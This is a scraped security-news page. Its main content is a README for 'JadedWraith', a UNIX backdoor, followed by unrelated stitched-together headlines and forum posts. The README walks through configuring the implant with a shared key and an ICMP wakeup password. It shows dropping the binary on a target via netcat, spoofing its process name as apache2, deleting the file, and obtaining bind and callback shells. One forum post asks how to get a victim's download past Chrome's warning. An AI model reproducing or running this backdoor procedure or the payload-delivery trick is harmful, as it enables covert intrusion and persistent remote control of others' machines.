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JadedWraith : Light-weight UNIX Backdoor

JadedWraith is a Lightweight UNIX backdoor for ethical hacking. Useful for red team engagements and CTFs. Something I wrote a few years ago as part of a game I was playing with a friend to try to backdoor as many VMs in each other’s labs without being caught or having our tools reverse engineered/signatured. Features

JadedWraith is a powerful backdoor capable of either listening on a TCP port or sniffing packets for a “magic” ICMP packet instructing the backdoor to either callback or listen. This is partly inspired by tools such as PRISM, however, unlike PRISM JadedWraith incorporates shoddy cryptography to obfuscate command and control. JadedWraith can be used to execute remote commands or upload follow on payloads.

JadedWraith can be compiled as a standalone executable or as a shared object for process injection. Components

The source code for the actual implant can be found inside the srcdirectory. clientcontains a simple python based client for interacting with JadedWraith. The conf_jawrscript is used to configure new JadedWraith executables. Dependencies

The implant requires a modern C library and libpthread. Depending on the target operating system, libpcap may be required (In which case, it you must run the ./configurescript with --use-libpcapto enable libpcap support).

The Python configuration script and client require the the following packages to work: termcolor, pycryptodomex How To Compile

Simply use the Makefileto compile. Note: The resulting binaries found in binmust be configured before they can be used.

$ ./configure
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

How To Configure

Use the conf_jawrscript to configure JadedWraith executables. It will search the bindirectory for JadedWraith executables to configure. The configured binary will be written to the configureddirectory.

$ ./conf_jawr
JadedWraith Configuration
Please choose a JadedWraith binary to use:
1. JadedWraith-2.0.0-Linux-x86_64.elf
Binary : 1
Shared Key [95454c93c8d5d30a0782da72ade10e29] :
Enable passive mode (ICMP wakeup) ? [y/n] y
Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] :
argv[0] (Leave blank to not spoof command) [] :
JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin
Try me!
sudo ./wraith-client.py -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell

How To Install

A configured implant can simply be ran on the target system. If configured to use the passive ICMP functionality, it must be ran as root. The environmental variable _CMD can be used to spoof the process’s argv[]#cd /tmp
#nc -lvp 4444 > apache2
#chmod +x apache2
#_CMD=”/usr/sbin/apache2″ ./apache2
#rm apache2

How To Interact

The wraith-client.pyscript inside clientcan be used to interact with JadedWraith. Simply invoke it with the arguments produced by the conf_jawrscript, substituting the target’s IP for . If utilizing the ICMP functionality, the script must be ran as root to send the ICMP packet.

~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 192.168.100.224
[] backdoor will listen on port 58290 [] connecting to 192.168.100.224:58290
[+] connection established!
[] entering interactive shell .cd /tmp w 14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23 USER TTY LOGIN@ IDLE JCPU PCPU WHAT ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20 ? 00:0[...]

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0:01 /usr/lib/systemd/systemd –switched-root –system –deserialize 31 .exit sudo ./wraith-client.py 127.0.0.1 –callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 127.0.0.1 [] backdoor will connect to port 37943
[] listening on port 37943 [+] accepted connection! [] entering interactive shell Download

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facebook accessstoken leak in android (unfixed )

i found accesstoken leak. any malicious app can get facebook accessstokenContinue reading on Medium »
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Pwncat — Fancy Reverse And Bind Shell Handler

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The BugéDex Workshop— My experience and what your takeaway should be from it

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Account Takeover Vulnerability(admin + any user) via Password Reset

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The bug

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Hacking on Medium
Pwncat — Fancy Reverse And Bind Shell Handler

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Account Takeover Vulnerability(admin + any user) via Password Reset
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This is my First vulnerability disclosure, Luckily I found this vulnerability on the occasion of Ganesh Chaturthi.Continue reading on Medium » (https://medium.com/@gaurav3112verma/account-takeover-vulnerability-admin-any-user-via-password-reset-1cb4d5057e35?source=rss------bug_bounty-5)

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Exploit Collector
Phrack Magazine Issue 70

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Phrack Magazine Issue 70 - Articles include Phrack Prophile on xerub, Attacking JavaScript Engines, .NET Instrumentation via MSIL bytecode injection, a VM escape QEMU case study, and much more.

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hacking: security in practice
downloading payload

say you get a victim to click on a link to download the payload. but google chrome gives a prompt saying "this type of file can harm your computer "

how do you get around this? is there way to make it safe for browsers

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hacking: security in practice
Is it possible to get a list of valid DNS names from an IP?

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hacking: security in practice
An ex hacked my email and I was wondering what I should do to make sure he stops

A little while ago I had an ex acquaintance hack my email. When I went to change my password he immediately tried to hack it again. I figured it was him when I traced his IP to the small town he lives in.

I am not even sure how he got my email. I am guessing he managed to hack my social media in order to get it, though I am not sure which account he got it from. I am guessing he also got my phone and address. I changed my phone number, and email to avoid any potential conflict. The other weird part is I hadn't seen or spoken to him in years. We didn't even date.

I eventually closed down much of my social presence just so I focus more on people in the here and now. I am concerned he may try to track me down in an intrusive way in the future.

What's the best way to safeguard this kind of behavior in the future? I started doing a secure sign in with my info on my banks, and other services I pay for like my internet and phone.

If he attempts to hack me again I will contact his provider. I am not sure he is physically stalking me. He had done it the past though.

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